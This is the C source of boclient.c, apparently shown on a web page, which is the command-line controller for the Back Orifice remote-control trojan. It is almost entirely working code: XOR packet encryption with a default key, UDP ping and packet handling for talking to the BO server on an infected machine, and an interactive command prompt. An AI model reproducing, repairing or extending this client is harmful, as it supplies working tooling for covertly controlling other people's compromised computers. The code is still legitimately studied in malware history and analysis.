/* boclient.c - Console client for Back Orifice */
#include "config.h"
#include "bounix.h"
/* GLOBALS */
unsigned long g_packet;
static long holdrand = 1L;
char g_password[ARGSIZE];
char g_lastdata[BUFFSIZE];
unsigned long g_lastpongip;
int g_lastpongport;
unsigned long host;
int udpsock;
char cwd[MAX_PATH];
int port = PORT;
/* CRYPTING FUNCTIONS
* (ISS x-force has xor teknique
*/
void msrand (unsigned int seed )
{
holdrand = (long)seed;
}
int mrand ( void)
{
return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
}
unsigned int getkey()
{
int x, y;
unsigned int z;
y = strlen(g_password);
if (!y)
return 31337;
else {
z = 0;
for (x = 0; x < y; x++)
z+= g_password[x];
for (x = 0; x < y; x++)
{
if (x%2)
z-= g_password[x] * (y-x+1);
else
z+= g_password[x] * (y-x+1);
z = z%RAND_MAX;
}
z = (z * y)%RAND_MAX;
return z;
}
}
void BOcrypt(unsigned char *buff, int len)
{
int y;
if (!len)
return;
msrand(getkey());
for (y = 0; y < len; y++)
buff[y] = buff[y] ^ (mrand()%256);
}
/*
* I/O socket functions
*/
int getpong(int sock) /* loops through with select, returns 0 on correct ping response */
{ /* and 1 on a timeout or select error. */
struct sockaddr_in host;
char buff[BUFFSIZE];
int hostsize, x, sel;
unsigned long *pdw;
unsigned char *ptr;
unsigned long packetsize;
unsigned char type;
fd_set fds;
struct timeval tv;
FD_ZERO(&fds);
FD_SET(sock, &fds);
tv.tv_sec = 0;
tv.tv_usec = 0;
hostsize = sizeof(host);
while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0)
{
tv.tv_sec=0;
tv.tv_usec=0;
if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) {
return(1);
}
BOcrypt(buff, x);
if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
{
printf("------- Garbage packet recieved from %s port %d -------\n",
inet_ntoa(host.sin_addr),
(int)ntohs(host.sin_port) );
continue;
}
pdw = (unsigned long *)buff;
pdw+=2;
packetsize = __EL_LONG(*pdw);
pdw+=2;
ptr = (unsigned char *)pdw;
type = *ptr++;
if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) &&
(type == TYPE_PING))
{
printf("------- Pong received from %s port %d -------\n",
inet_ntoa(host.sin_addr),
(int)ntohs(host.sin_port) );
puts(ptr);
puts("------- End of data -------");
g_lastpongip = host.sin_addr.s_addr;
g_lastpongport = (int)ntohs(host.sin_port);
return(0);
} else {
printf("------- Non pong response from %s port %d -------\n",
inet_ntoa(host.sin_addr),
(int)ntohs(host.sin_port) );
puts(ptr);
puts("------- End of data -------");
continue;
}
}
if (sel < 0)
perror("select");
return(1);
}
int getinput(int sock)
{
struct sockaddr_in host;
char buff[BUFFSIZE];
int hostsize, x, sel;
unsigned long *pdw;
unsigned char *ptr;
unsigned long packetsize;
unsigned long oldestpack, lastpacket, packetid, p;
unsigned char type;
struct timeval tv;
fd_set fds;
FD_ZERO(&fds);
FD_SET(sock, &fds);
tv.tv_sec = 10;
tv.tv_usec = 0;
hostsize = sizeof(host);
while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 )
{
tv.tv_sec = 10; /* check, does select modify tv? */
tv.tv_usec = 0;
if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
&hostsize)) <= 0)
continue; /* this still shouldnt happen */
BOcrypt(buff, x);
if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
continue; /* this packet isnt for us, pass off */
pdw = (unsigned long *)buff; /* parse out the packet */
pdw+=2;
packetsize = *pdw++;
packetsize = __EL_LONG(packetsize);
packetid = *pdw++;
packetid = __EL_LONG(packetid);
ptr = (unsigned char *)pdw;
type = *ptr++;
/* this is a singular packet */
if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) )
{
printf("------- Packet received from %s port %d -------\n",
inet_ntoa(host.sin_addr),
(int)ntohs(host.sin_port) );
puts(ptr);
puts("------- End of data -------");
return 0; /* success */
}
/* first packet in a set of packets */
if (!(type & CONTINUED_PACKET))
{
oldestpack = packetid;
printf("------- Packet received from %s port %d -------\n",
inet_ntoa(host.sin_addr),
(int)ntohs(host.sin_port) );
}
if(type & CONTINUED_PACKET) /* if we're here, i believe this will always be true */
{
/* if packetid = lastpacket+1 (normal), this doesnt run */
/* This code is B00l Shit. It's borken big time.
for(p=lastpacket; packetid > lastpacket+1; p++)
printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack));
*/
lastpacket = packetid;
}
puts(ptr);
/* last packet in a set of packets */
if (!(type & PARTIAL_PACKET))
{
puts("------- End of data -------");
return 0; /* success */
}
}
/* determine why we broke out of the loop */
if (sel == 0)
puts("Timeout on wait, host may not be reachable, or no server installed\n");
else if (sel < 0)
perror("select");
return(1); /* error */
}
int sendping(unsigned long dest, int port, int sock)
{
unsigned char *ptr;
unsigned long *pdw;
unsigned long size;
struct sockaddr_in host;
char buff[BUFFSIZE];
int i;
fd_set fdset;
struct timeval tv;
size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2;
strcpy(buff, MAGICSTRING);
pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
*pdw++ = __EL_LONG(size);
*pdw++ = __EL_LONG((unsigned long)-1);
ptr = (unsigned char *)pdw;
*ptr++ = TYPE_PING;
*ptr = 0;
BOcrypt(buff, (int)size);
host.sin_family = AF_INET;
host.sin_port = htons((u_short)port);
host.sin_addr.s_addr = dest;
FD_ZERO(&fdset);
FD_SET(sock, &fdset);
tv.tv_sec = 10;
tv.tv_usec = 0;
i = select(sock+1, NULL, &fdset, NULL, &tv);
if (i == 0)
{
printf(" Timeout waiting to send to socket\n");
return(1);
} else if (i < 0) {
perror("select: ");
return(1);
}
if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size )
{
perror("sendto: ");
return(1);
}
return 0;
}
int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock)
{
unsigned char *ptr;
unsigned long *pdw;
unsigned long size;
struct sockaddr_in host;
char buff[BUFFSIZE];
if (dest == 0)
{
puts("Set a target host with the 'host' command. (Type 'help' for assistance)");
return 1;
}
/* 4 4 1 ? ? 1
* -----------------------------------------------
* |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
* | | |num | | | | |
* -----------------------------------------------
*/
size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2);
strcpy(buff, MAGICSTRING);
pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
*pdw++ = __EL_LONG(size);
*pdw++ = __EL_LONG(g_packet);
g_packet++;
ptr = (unsigned char *)pdw;
*ptr++ = type;
strcpy(ptr, str1);
ptr += strlen(str1) + 1;
strcpy(ptr, str2);
BOcrypt(buff, (int)size);
host.sin_family = AF_INET;
host.sin_port = htons((u_short)port);
host.sin_addr.s_addr = dest;
if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size)
{
perror("sendto: ");
return(1);
}
return 0;
}
/************************** MISC FUNCTIONS **************************/
void fixfilename(char *buff, const char *cwd, const char *path)
{
if (path[0] == '\\')
{
strncpy(buff, cwd, 2);
strncpy(buff+3, path, strlen(path)+1);
} else if (strncmp(path+1, ":\\", 2) == 0){
strcpy(buff, path);
} else {
sprintf(buff, "%s%s", cwd, path);
}
}
char *quotedstring(char *dest, char *src)
{
char *d, *s, c;
int quote, escape;
d=dest;
s=src;
quote=0;
escape=0;
do {
c=*s++;
if(quote==0) {
if(c==' ') {
*d++='\0';
break;
}
else if(c=='"') quote=1;
else *d++=c;
}
else {
if(escape==0) {
if(c=='"') quote=0;
else if(c=='\\') escape=1;
else *d++=c;
}
else {
*d++=c;
escape=0;
}
}
} while(c!='\0');
return s;
}
/**************************** MAIN ***************************/
int main(int argc, char **argv)
{
struct sockaddr_in sockaddr;
struct in_addr hostin;
char *c, *d;
char buff[1024];
char command[COMMANDSIZE];
char arg1[ARGSIZE];
char arg2[ARGSIZE];
int x;
int clientport = 0;
struct linger linger;
int bufsize;
printf("Back Orifice console client version %s\n", VERSIONSTR);
printf(" (Type 'help' for assistance)\n");
host = 0;
g_packet = 0;
g_password[0] = 0;
strcpy(cwd, "c:\\");
if (argc > 1)
{
for (x = 1; x < argc; x++)
{
if (argv[x][0] == '-' || argv[x][0] == '/')
{
switch (toupper(argv[x][1]))
{
case 'H':
case '?':
puts("boclient.exe [-p port]");
return 0;
case 'P':
if (argv[x][2] == 0)
{
x++;
clientport = atoi(argv[x]);
} else {
clientport = atoi(&argv[x][2]);
}
break;
case 0:
puts("\"-\"?");
break;
default:
printf("Unknown commandline option: '%c'\n", argv[x][1]);
break;
}
}
}
}
if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket: ");
return(1);
}
memset(&sockaddr, 0, sizeof(sockaddr));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htons((u_short)clientport);
if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0)
{
perror("bind: ");
return(1);
}
linger.l_onoff = 0; /* dont linger */
setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) );
while (!feof(stdin))
{
if ( host == 0)
printf("BO>");
else
{
hostin.s_addr = host;
printf("BO:%s>", inet_ntoa(hostin));
}
arg1[0] = arg2[0] = 0;
memset(buff, 0, BUFFSIZE);
fgets(buff, 1024, stdin);
if (buff[strlen(buff)-1] == '\n')
buff[strlen(buff)-1] = '\0'; /* get rid of newline if there */
c = quotedstring(command,buff);
while ( isspace((int)c[0]) ) /* advance to next nonspace character */
c++;
c = quotedstring(arg1,c);
while ( isspace((int)c[0]) ) /* advance to next nonspace character */
c++;
c = quotedstring(arg2,c);
if (executecommand(command, arg1, arg2)) /* parsing sucks, but we're done. lets go! */
printf("Command Failed\n");
}
return 0;
}
syntax highlighted by Code2HTML, v. 0.9.1